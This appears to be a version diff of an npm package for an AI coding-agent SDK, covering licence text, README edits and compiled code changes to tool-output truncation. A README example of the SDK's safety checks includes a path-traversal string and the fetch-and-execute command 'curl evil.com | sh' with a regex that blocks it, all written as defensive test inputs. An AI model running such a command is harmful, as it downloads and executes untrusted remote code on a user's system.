WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
147
|
+
implied, including, without limitation, any warranties or conditions
|
|
148
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
149
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
150
|
+
appropriateness of using or redistributing the Work and assume any
|
|
151
|
+
risks associated with Your exercise of permissions under this License.
|
|
152
|
+
|
|
153
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
154
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
155
|
+
unless required by applicable law (such as deliberate and grossly
|
|
156
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
157
|
+
liable to You for damages, including any direct, indirect, special,
|
|
158
|
+
incidental, or consequential damages of any character arising as a
|
|
159
|
+
result of this License or out of the use or inability to use the
|
|
160
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
161
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
162
|
+
other commercial damages or losses), even if such Contributor
|
|
163
|
+
has been advised of the possibility of such damages.
|
|
164
|
+
|
|
165
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
166
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
167
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
168
|
+
or other liability obligations and/or rights consistent with this
|
|
169
|
+
License. However, in accepting such obligations, You may act only
|
|
170
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
171
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
172
|
+
defend, and hold each Contributor harmless for any liability
|
|
173
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
174
|
+
of your accepting any such warranty or additional liability.
|
|
175
|
+
|
|
176
|
+
END OF TERMS AND CONDITIONS
|
|
177
|
+
|
|
178
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
179
|
+
|
|
180
|
+
To apply the Apache License to your work, attach the following
|
|
181
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
182
|
+
replaced with your own identifying information. (Don't include
|
|
183
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
184
|
+
comment syntax for the file format. We also recommend that a
|
|
185
|
+
file or class name and description of purpose be included on the
|
|
186
|
+
same "printed page" as the copyright notice for easier
|
|
187
|
+
identification within third-party archives.
|
|
188
|
+
|
|
189
|
+
Copyright 2026 Sean Holung
|
|
190
|
+
|
|
191
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
|
+
you may not use this file except in compliance with the License.
|
|
193
|
+
You may obtain a copy of the License at
|
|
194
|
+
|
|
195
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
196
|
+
|
|
197
|
+
Unless required by applicable law or agreed to in writing, software
|
|
198
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
199
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
200
|
+
See the License for the specific language governing permissions and
|
|
201
|
+
limitations under the License.
|
|
@@ -1,21 +1,16 @@
|
|
|
1
|
-
# @minicode
|
|
1
|
+
# @sean.holung/minicode-sdk
|
|
2
2
|
|
|
3
3
|
Reusable agent runtime SDK extracted from minicode. Provides everything needed to build an AI coding agent: model clients, tool registry, session management, safety guardrails, and a turn-based agent loop.
|
|
4
4
|
|
|
5
5
|
## Installation
|
|
6
6
|
|
|
7
|
-
This package currently lives as a private workspace package inside the minicode repo:
|
|
8
|
-
|
|
9
7
|
```bash
|
|
10
|
-
|
|
11
|
-
cd minicode
|
|
12
|
-
npm install
|
|
13
|
-
npm run build --workspace=packages/agent-sdk
|
|
8
|
+
npm install @sean.holung/minicode-sdk
|
|
14
9
|
```
|
|
15
10
|
|
|
16
|
-
> **Note:** `packages/agent-sdk/package.json` is currently marked `private`, so treat this README as documentation for the in-repo SDK surface rather than a published npm package.
|
|
17
|
-
>
|
|
18
11
|
> **Requires:** Node.js >= 22.0.0
|
|
12
|
+
>
|
|
13
|
+
> The SDK ships its model SDKs (`@anthropic-ai/sdk`, `@modelcontextprotocol/sdk`) and the JSON Schema validator (`ajv`) as ordinary dependencies — no manual install needed.
|
|
19
14
|
|
|
20
15
|
## Quick Start
|
|
21
16
|
|
|
@@ -26,8 +21,8 @@ import {
|
|
|
26
21
|
AnthropicModelClient,
|
|
27
22
|
Session,
|
|
28
23
|
buildSystemPrompt,
|
|
29
|
-
} from "@minicode
|
|
30
|
-
import type { AgentConfig } from "@minicode
|
|
24
|
+
} from "@sean.holung/minicode-sdk";
|
|
25
|
+
import type { AgentConfig } from "@sean.holung/minicode-sdk";
|
|
31
26
|
|
|
32
27
|
// 1. Define your agent configuration
|
|
33
28
|
const config: AgentConfig = {
|
|
@@ -35,6 +30,7 @@ const config: AgentConfig = {
|
|
|
35
30
|
model: "claude-sonnet-4-20250514",
|
|
36
31
|
maxSteps: 20,
|
|
37
32
|
maxTokens: 4096,
|
|
33
|
+
modelTimeoutSeconds: 60,
|
|
38
34
|
maxContextTokens: 32_000,
|
|
39
35
|
workspaceRoot: process.cwd(),
|
|
40
36
|
commandTimeoutMs: 30_000,
|
|
@@ -70,7 +66,7 @@ import {
|
|
|
70
66
|
CodingAgent,
|
|
71
67
|
ToolRegistry,
|
|
72
68
|
OpenAICompatibleModelClient,
|
|
73
|
-
} from "@minicode
|
|
69
|
+
} from "@sean.holung/minicode-sdk";
|
|
74
70
|
|
|
75
71
|
const config = {
|
|
76
72
|
modelProvider: "openai-compatible" as const,
|
|
@@ -89,7 +85,7 @@ const agent = new CodingAgent({ config, modelClient, toolRegistry });
|
|
|
89
85
|
Or use the `createModelClient` helper which picks the right client based on `config.modelProvider`:
|
|
90
86
|
|
|
91
87
|
```typescript
|
|
92
|
-
import { createModelClient } from "@minicode
|
|
88
|
+
import { createModelClient } from "@sean.holung/minicode-sdk";
|
|
93
89
|
|
|
94
90
|
const modelClient = createModelClient(config);
|
|
95
91
|
```
|
|
@@ -158,8 +154,8 @@ import {
|
|
|
158
154
|
createSearchTool,
|
|
159
155
|
createListFilesTool,
|
|
160
156
|
createRunCommandTool,
|
|
161
|
-
} from "@minicode
|
|
162
|
-
import type { ToolDefinition } from "@minicode
|
|
157
|
+
} from "@sean.holung/minicode-sdk";
|
|
158
|
+
import type { ToolDefinition } from "@sean.holung/minicode-sdk";
|
|
163
159
|
|
|
164
160
|
const myTool: ToolDefinition = {
|
|
165
161
|
name: "get_weather",
|
|
@@ -214,7 +210,7 @@ const readTool = createReadFileTool({
|
|
|
214
210
|
When integrating with a project indexer, use `CoreToolHooks` to get notified after file writes/edits:
|
|
215
211
|
|
|
216
212
|
```typescript
|
|
217
|
-
import { ToolRegistry } from "@minicode
|
|
213
|
+
import { ToolRegistry } from "@sean.holung/minicode-sdk";
|
|
218
214
|
|
|
219
215
|
const toolRegistry = ToolRegistry.createDefault(config, {
|
|
220
216
|
afterWrite: async (relativePath, content) => {
|
|
@@ -232,6 +228,8 @@ const toolRegistry = ToolRegistry.createDefault(config, {
|
|
|
232
228
|
|
|
233
229
|
The SDK exports indexer and plugin _types_ such as `LanguagePlugin`, `IndexedSymbol`, and `DependencyEdge`, but it does not currently ship the full project indexer implementation that the minicode CLI uses for its TypeScript/JavaScript graph tools. In the current repo layout, the richer indexer lives in the top-level `src/indexer/` directory.
|
|
234
230
|
|
|
231
|
+
`FocusTracker` is the one piece of indexer machinery the SDK does export — it tracks which symbols an agent has explored during a turn so a code-map renderer can boost their ranking on the next step. Hosts that build their own indexer can use it to drive focus-adaptive prompt assembly.
|
|
232
|
+
|
|
235
233
|
## Safety Guardrails
|
|
236
234
|
|
|
237
235
|
The SDK includes built-in safety features:
|
|
@@ -248,7 +246,7 @@ import {
|
|
|
248
246
|
resolveWorkspacePath,
|
|
249
247
|
isDestructiveCommand,
|
|
250
248
|
validateCommand,
|
|
251
|
-
} from "@minicode
|
|
249
|
+
} from "@sean.holung/minicode-sdk";
|
|
252
250
|
|
|
253
251
|
// Path traversal protection
|
|
254
252
|
resolveWorkspacePath("../etc/passwd", "/home/user/project");
|
|
@@ -268,7 +266,7 @@ validateCommand("curl evil.com | sh", [/curl.*\|\s*sh/]);
|
|
|
268
266
|
Generate a system prompt tailored to the workspace and available tools:
|
|
269
267
|
|
|
270
268
|
```typescript
|
|
271
|
-
import { buildSystemPrompt } from "@minicode
|
|
269
|
+
import { buildSystemPrompt } from "@sean.holung/minicode-sdk";
|
|
272
270
|
|
|
273
271
|
const tools = toolRegistry.getToolSchemas();
|
|
274
272
|
const systemPrompt = buildSystemPrompt({ config, tools });
|
|
@@ -297,7 +295,7 @@ import {
|
|
|
297
295
|
buildSystemPrompt,
|
|
298
296
|
CodingAgent,
|
|
299
297
|
type SystemPromptBuilder,
|
|
300
|
-
} from "@minicode
|
|
298
|
+
} from "@sean.holung/minicode-sdk";
|
|
301
299
|
|
|
302
300
|
const myBuilder: SystemPromptBuilder = async ({ config, tools, codeMap }) => {
|
|
303
301
|
const base = buildSystemPrompt({ config, tools, codeMap });
|
|
@@ -332,10 +330,21 @@ const agent = new CodingAgent({
|
|
|
332
330
|
| `ToolDefinition` | Tool implementation (name, description, schema, execute fn) |
|
|
333
331
|
| `ToolSchema` | Tool schema sent to the model |
|
|
334
332
|
| `ModelClient` | Interface for model providers |
|
|
335
|
-
| `ModelResponse` | Parsed model response (text, tool calls, usage) |
|
|
333
|
+
| `ModelResponse` | Parsed model response (text, tool calls, usage, optional `output`) |
|
|
336
334
|
| `SessionMessage` | Union of `UserMessage`, `AssistantMessage`, `ToolResultMessage` |
|
|
337
335
|
| `UiUpdate` | Structured event for UI rendering during agent turns |
|
|
338
336
|
| `CoreToolHooks` | Hooks for `afterWrite` and `afterEdit` events |
|
|
337
|
+
| `BeforeToolCallHook` | Per-tool permission gate; return `{outcome:"deny", reason}` to block |
|
|
338
|
+
| `ToolPermissionDecision` | Allow/deny return type for `BeforeToolCallHook` |
|
|
339
|
+
| `ReasoningEffort` | Extended thinking budget level (`xhigh`, `high`, …, `none`) |
|
|
340
|
+
| `SessionSnapshot` | Serializable session state (for save/load) |
|
|
341
|
+
| `CompactionResult` | Result of `Session.compact()` — method, tokens before/after |
|
|
342
|
+
| `SystemPromptBuilder` | Signature for `CodingAgent`'s `buildSystemPrompt` override |
|
|
343
|
+
| `OutputSchema` | Schema for structured-output turns (see Structured Output below) |
|
|
344
|
+
| `OutputValidationError` | Thrown when structured output fails JSON Schema validation |
|
|
345
|
+
| `McpServerConfig` | Per-server config for `createMcpTools` (stdio/http/sse) |
|
|
346
|
+
| `CreateMcpToolsOptions` | Top-level options for `createMcpTools` |
|
|
347
|
+
| `McpToolBundle` | Returned bundle: `{ tools, close }` |
|
|
339
348
|
|
|
340
349
|
### Built-in Tools
|
|
341
350
|
|
|
@@ -348,6 +357,18 @@ const agent = new CodingAgent({
|
|
|
348
357
|
| `list_files` | List files and directories with pagination |
|
|
349
358
|
| `run_command` | Execute shell commands with timeout and safety checks |
|
|
350
359
|
|
|
360
|
+
### Helpers
|
|
361
|
+
|
|
362
|
+
| Helper | Description |
|
|
363
|
+
|--------|-------------|
|
|
364
|
+
| `createModelClient(config)` | Factory that picks Anthropic vs OpenAI-compatible based on `config.modelProvider` |
|
|
365
|
+
| `truncateToolOutput(toolName, output, maxChars)` | Content-aware truncation with self-identifying footers — exempts `read_file`, keeps the tail of `run_command`, head + match count for `search`, default head-only otherwise |
|
|
366
|
+
| `formatMcpResult(content)` | Render an MCP `tool_use` result block into a string for the model |
|
|
367
|
+
| `wrapMcpClients(servers, options)` | Lower-level entry point for `createMcpTools` — accepts pre-connected MCP `Client` instances |
|
|
368
|
+
| `buildSystemPrompt(ctx)` | Build the default system prompt; can be called from a custom `SystemPromptBuilder` to extend rather than replace it |
|
|
369
|
+
| `expectNonEmptyString`, `expectOptionalBoolean`, `expectOptionalNumber`, `formatWithLineNumbers`, `toJson` | Tool-input validators and small formatters useful when writing custom tools |
|
|
370
|
+
| `resolveWorkspacePath`, `validatePath`, `validateCommand`, `isDestructiveCommand`, `validateFileReadSize`, `ensureStepWithinLimit`, `normalizeWorkspaceRoot`, `isWithinWorkspacePath` | Safety guardrails (see [Safety Guardrails](#safety-guardrails)) |
|
|
371
|
+
|
|
351
372
|
## External MCP Servers
|
|
352
373
|
|
|
353
374
|
Connect to one or more MCP (Model Context Protocol) servers and pull
|
|
@@ -362,7 +383,7 @@ import {
|
|
|
362
383
|
ToolRegistry,
|
|
363
384
|
createMcpTools,
|
|
364
385
|
createReadFileTool,
|
|
365
|
-
} from "@minicode
|
|
386
|
+
} from "@sean.holung/minicode-sdk";
|
|
366
387
|
|
|
367
388
|
const mcp = await createMcpTools({
|
|
368
389
|
servers: [
|
|
@@ -443,7 +464,7 @@ import {
|
|
|
443
464
|
ToolRegistry,
|
|
444
465
|
createMcpTools,
|
|
445
466
|
type OutputSchema,
|
|
446
|
-
} from "@minicode
|
|
467
|
+
} from "@sean.holung/minicode-sdk";
|
|
447
468
|
|
|
448
469
|
const InvoiceSchema: OutputSchema = {
|
|
449
470
|
name: "Invoice",
|
package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/agent.d.ts
RENAMED
|
@@ -4,6 +4,15 @@ import { Session } from "../session/session.js";
|
|
|
4
4
|
import type { CompactionResult } from "../session/session.js";
|
|
5
5
|
import { ToolRegistry } from "../tools/registry.js";
|
|
6
6
|
import type { AgentConfig, BeforeToolCallHook, ModelClient, OutputSchema } from "./types.js";
|
|
7
|
+
/**
|
|
8
|
+
* Content-aware truncation for tool outputs.
|
|
9
|
+
* Different tools benefit from different truncation strategies:
|
|
10
|
+
* - read_file: No truncation — the model needs exact text for edits
|
|
11
|
+
* - run_command: Keep tail (errors/results are at the end)
|
|
12
|
+
* - search: Keep head with a match count footer
|
|
13
|
+
* - default: Keep head (existing behavior)
|
|
14
|
+
*/
|
|
15
|
+
export declare function truncateToolOutput(toolName: string, output: string, maxChars: number): string;
|
|
7
16
|
export type UiUpdateThinking = {
|
|
8
17
|
type: "thinking";
|
|
9
18
|
content: string;
|
|
@@ -80,7 +89,7 @@ export declare class CodingAgent {
|
|
|
80
89
|
*
|
|
81
90
|
* Use this to point the agent at a different domain (review bot,
|
|
82
91
|
* RAG assistant, non-coding use case) without rewriting the rest
|
|
83
|
-
* of the SDK. Import `buildSystemPrompt` from `@minicode
|
|
92
|
+
* of the SDK. Import `buildSystemPrompt` from `@sean.holung/minicode-sdk`
|
|
84
93
|
* and call it from your builder to extend the default rather than
|
|
85
94
|
* replace it.
|
|
86
95
|
*/
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"agent.d.ts","sourceRoot":"","sources":["../../../src/agent/agent.ts"],"names":[],"mappings":"AAAA,OAAO,EAEL,KAAK,mBAAmB,EACzB,MAAM,4BAA4B,CAAC;AACpC,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,qBAAqB,CAAC;AAEzD,OAAO,EAAE,OAAO,E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,CAAC,EAAE,CAAC,OAAO,EAAE,MAAM,KAAK,IAAI,CAAC;QACtC,qBAAqB,CAAC,EAAE,MAAM,MAAM,GAAG,SAAS,CAAC;QACjD;;;;;;;;;;;WAWG;QACH,iBAAiB,CAAC,EAAE,mBAAmB,CAAC;QACxC;;;;;WAKG;QACH,cAAc,CAAC,EAAE,kBAAkB,CAAC;KACrC;IAeD,OAAO,CAAC,UAAU;IASlB,UAAU,IAAI,OAAO;IAIrB,kBAAkB,IAAI,WAAW,CAAC,iBAAiB,CAAC;IAIpD,gBAAgB,IAAI;QAAE,aAAa,EAAE,MAAM,CAAC;QAAC,gBAAgB,EAAE,MAAM,CAAA;KAAE;IAOvE,kBAAkB,CAAC,MAAM,EAAE,WAAW,CAAC,iBAAiB,CAAC,GAAG,IAAI;IAMhE;;;;;;;OAOG;IACG,cAAc,IAAI,OAAO,CAAC,gBAAgB,GAAG,IAAI,CAAC;IAMxD,OAAO,CAAC,WAAW;IAKnB;;;;;OAKG;IACH,OAAO,CAAC,wBAAwB;IAehC;;;;;OAKG;YACW,eAAe;IAavB,OAAO,CACX,WAAW,EAAE,MAAM,EACnB,OAAO,CAAC,EAAE;QAAE,MAAM,CAAC,EAAE,WAAW,CAAC;QAAC,YAAY,CAAC,EAAE,YAAY,CAAA;KAAE,GAC9D,OAAO,CAAC;QACT,IAAI,EAAE,MAAM,CAAC;QACb,MAAM,CAAC,EAAE,OAAO,CAAC;QACjB,KAAK,CAAC,EAAE;YACN,WAAW,EAAE,MAAM,CAAC;YACpB,YAAY,EAAE,MAAM,CAAC;YACrB,iBAAiB,CAAC,EAAE,MAAM,CAAC;SAC5B,CAAC;QACF,QAAQ,CAAC,EAAE,OAAO,CAAC;KACpB,CAAC;CAuXH"}
|
package/node_modules/{@minicode/agent-sdk → @sean.holung/minicode-sdk}/dist/src/agent/agent.js
RENAMED
|
@@ -77,7 +77,7 @@ const PROGRESS_THINKING_MAX = 200;
|
|
|
77
77
|
* - search: Keep head with a match count footer
|
|
78
78
|
* - default: Keep head (existing behavior)
|
|
79
79
|
*/
|
|
80
|
-
function truncateToolOutput(toolName, output, maxChars) {
|
|
80
|
+
export function truncateToolOutput(toolName, output, maxChars) {
|
|
81
81
|
// Never truncate read_file — the model needs exact content for edits
|
|
82
82
|
if (toolName === "read_file") {
|
|
83
83
|
return output;
|
|
@@ -86,24 +86,23 @@ function truncateToolOutput(toolName, output, maxChars) {
|
|
|
86
86
|
return output;
|
|
87
87
|
}
|
|
88
88
|
const totalLen = output.length;
|
|
89
|
-
const overflowNote = `\n\n[... truncated, ${totalLen - maxChars} more chars ...]`;
|
|
90
89
|
if (toolName === "run_command") {
|
|
91
90
|
// Keep tail — errors and results are usually at the end
|
|
92
91
|
const tailChars = Math.floor(maxChars * 0.8);
|
|
93
92
|
const headChars = maxChars - tailChars;
|
|
94
93
|
const head = output.slice(0, headChars);
|
|
95
94
|
const tail = output.slice(totalLen - tailChars);
|
|
96
|
-
return `${head}\n\n[... ${totalLen - headChars - tailChars} chars omitted
|
|
95
|
+
return `${head}\n\n[... agent-level truncation: ${totalLen - headChars - tailChars} chars omitted from middle of run_command output to keep head + tail.]\n\n${tail}`;
|
|
97
96
|
}
|
|
98
97
|
if (toolName === "search") {
|
|
99
98
|
// Keep head with match count
|
|
100
99
|
const lines = output.split("\n");
|
|
101
100
|
const truncated = output.slice(0, maxChars);
|
|
102
101
|
const shownLines = truncated.split("\n").length;
|
|
103
|
-
return `${truncated}\n\n[... showing ~${shownLines} of ${lines.length} match lines, ${totalLen - maxChars} more chars
|
|
102
|
+
return `${truncated}\n\n[... agent-level truncation: showing ~${shownLines} of ${lines.length} match lines, ${totalLen - maxChars} more chars elided. Narrow the search with a more specific path or include glob.]`;
|
|
104
103
|
}
|
|
105
|
-
// Default: head-only (existing behavior)
|
|
106
|
-
return `${output.slice(0, maxChars)}${
|
|
104
|
+
// Default: head-only (existing behavior, with a layer-identifying footer)
|
|
105
|
+
return `${output.slice(0, maxChars)}\n\n[... agent-level truncation: showed ${maxChars} of ${totalLen} chars from ${toolName}; ${totalLen - maxChars} more chars elided.]`;
|
|
107
106
|
}
|
|
108
107
|
/**
|
|
109
108
|
* Compute an effective keepRecentMessages that scales proportionally
|
|
@@ -300,7 +299,12 @@ export class CodingAgent {
|
|
|
300
299
|
// with the latest focus set so the code map dynamically adapts.
|
|
301
300
|
// By default this stays false, so we build once and cache to keep the
|
|
302
301
|
// prompt prefix stable across turns and improve KV cache hit rates.
|
|
303
|
-
|
|
302
|
+
// NB: explicit `=== true` so that an absent field (undefined) routes
|
|
303
|
+
// to false, matching the documented default. PR #138 flipped the CLI
|
|
304
|
+
// loader's parseBoolean fallback to false but missed this line, which
|
|
305
|
+
// left every SDK consumer that didn't explicitly set the field
|
|
306
|
+
// running with dynamic prompts on.
|
|
307
|
+
const dynamicPrompt = this.config.enableDynamicPrompt === true;
|
|
304
308
|
let systemPrompt;
|
|
305
309
|
if (dynamicPrompt || !this.cachedSystemPrompt) {
|
|
306
310
|
const codeMap = this.getCodeMap?.(dynamicPrompt ? this.getFocusSet() : undefined);
|
|
@@ -509,14 +513,19 @@ export class CodingAgent {
|
|
|
509
513
|
toolResult = await this.executeToolCall(toolCall);
|
|
510
514
|
}
|
|
511
515
|
// Apply content-aware truncation when enabled, otherwise
|
|
512
|
-
// fall back to simple head-only truncation.
|
|
516
|
+
// fall back to simple head-only truncation. Footers identify
|
|
517
|
+
// the truncation *layer* — without that, the agent can't tell
|
|
518
|
+
// whether a tool's own footer was already there and an agent-
|
|
519
|
+
// level cut chopped it off, vs. the tool returned everything
|
|
520
|
+
// and the agent simply clipped to the char cap.
|
|
513
521
|
if (this.config.enableToolOutputTruncation) {
|
|
514
522
|
toolResult = truncateToolOutput(toolCall.name, toolResult, this.config.maxToolOutputChars);
|
|
515
523
|
}
|
|
516
524
|
else {
|
|
517
525
|
const maxChars = this.config.maxToolOutputChars;
|
|
518
526
|
if (maxChars > 0 && toolResult.length > maxChars) {
|
|
519
|
-
|
|
527
|
+
const remaining = toolResult.length - maxChars;
|
|
528
|
+
toolResult = `${toolResult.slice(0, maxChars)}\n\n[... agent-level truncation: showed ${maxChars} of ${toolResult.length} chars from ${toolCall.name}; ${remaining} more chars elided. The tool may have already truncated above this footer. To read more, retry with a narrower scope (e.g. read_file with offset/limit, search with --include, list_files with skip/limit).]`;
|
|
520
529
|
}
|
|
521
530
|
}
|
|
522
531
|
if (this.onUiUpdate) {
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"agent.js","sourceRoot":"","sources":["../../../src/agent/agent.ts"],"names":[],"mappings":"AAAA,OAAO,EACL,iBAAiB,IAAI,wBAAwB,GAE9C,MAAM,4BAA4B,CAAC;AAEpC,OAAO,EAAE,qBAAqB,EAAE,sBAAsB,EAAE,MAAM,yBAAyB,CAAC;AACxF,OAAO,EAAE,OAAO,EAAE,MAAM,uBAAuB,CAAC;AAGhD,OAAO,EAAE,YAAY,EAAE,MAAM,6BAA6B,CAAC;AAS3D,SAAS,eAAe,CAAC,KAAc;IACrC,IAAI,KAAK,CAAC,OAAO,CAAC,KAAK,CAAC,EAAE,CAAC;QACzB,OAAO,IAAI,KAAK,CAAC,GAAG,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,eAAe,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,CAAC;IACrE,CAAC;IACD,IAAI,KAAK,IAAI,OAAO,KAAK,KAAK,QAAQ,EAAE,CAAC;QACvC,MAAM,OAAO,GAAG,MAAM,CAAC,OAAO,CAAC,KAAgC,CAAC;aAC7D,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,aAAa,CAAC,CAAC,CAAC,CAAC;aACtC,GAAG,CAAC,CAAC,CAAC,GAAG,EAAE,UAAU,CAAC,EAAE,EAAE,CAAC,GAAG,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,IAAI,eAAe,CAAC,UAAU,CAAC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CAAC;QACH,CAAC;QAED,MAAM,gBAAgB,GAAG,sBAAsB,CAAC,IAAI,CAAC,MAAM,CAAC,QAAQ,CAAC,CAAC;QACtE,IAAI,CAAC,OAAO,CAAC,UAAU,CAAC;YACtB,IAAI,EAAE,WAAW;YACjB,OAAO,EAAE,gBAAgB;SAC1B,CAAC,CAAC;QACH,OAAO;YACL,IAAI,EAAE,gBAAgB;YACtB,KAAK,EAAE;gBACD,WAAW,EAAE,gBAAgB;gBAC7B,YAAY,EAAE,iBAAiB;gBAC/B,GAAG,CAAC,sBAAsB,GAAG,CAAC;oBAC5B,CAAC,CAAC,EAAE,iBAAiB,EAAE,sBAAsB,EAAE;oBAC/C,CAAC,CAAC,EAAE,CAAC;aACR;YACL,QAAQ,EAAE,KAAK;SAChB,CAAC;IACJ,CAAC;CACF"}
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
export type { AgentConfig, AssistantMessage, BeforeToolCallHook, ModelClient, ModelInfo, ModelResponse, OutputSchema, ReasoningEffort, SessionMessage, ToolCall, ToolDefinition, ToolPermissionDecision, ToolResultMessage, ToolSchema, UserMessage, } from "./agent/types.js";
|
|
2
2
|
export { OutputValidationError } from "./agent/types.js";
|
|
3
|
-
export { CodingAgent, type UiUpdate, type UiUpdateThinking, type UiUpdateStreamingChunk, type UiUpdateStep, type UiUpdateToolCallStart, type UiUpdateToolCallEnd, type UiUpdateContextStatus, } from "./agent/agent.js";
|
|
3
|
+
export { CodingAgent, truncateToolOutput, type UiUpdate, type UiUpdateThinking, type UiUpdateStreamingChunk, type UiUpdateStep, type UiUpdateToolCallStart, type UiUpdateToolCallEnd, type UiUpdateContextStatus, } from "./agent/agent.js";
|
|
4
4
|
export { Session, type SessionSnapshot, type CompactionResult } from "./session/session.js";
|
|
5
5
|
export { AnthropicModelClient, OpenAICompatibleModelClient, createModelClient, } from "./model/client.js";
|
|
6
6
|
export { ToolRegistry, type CoreToolHooks } from "./tools/registry.js";
|
|
@@ -0,0 +1 @@
|
|
|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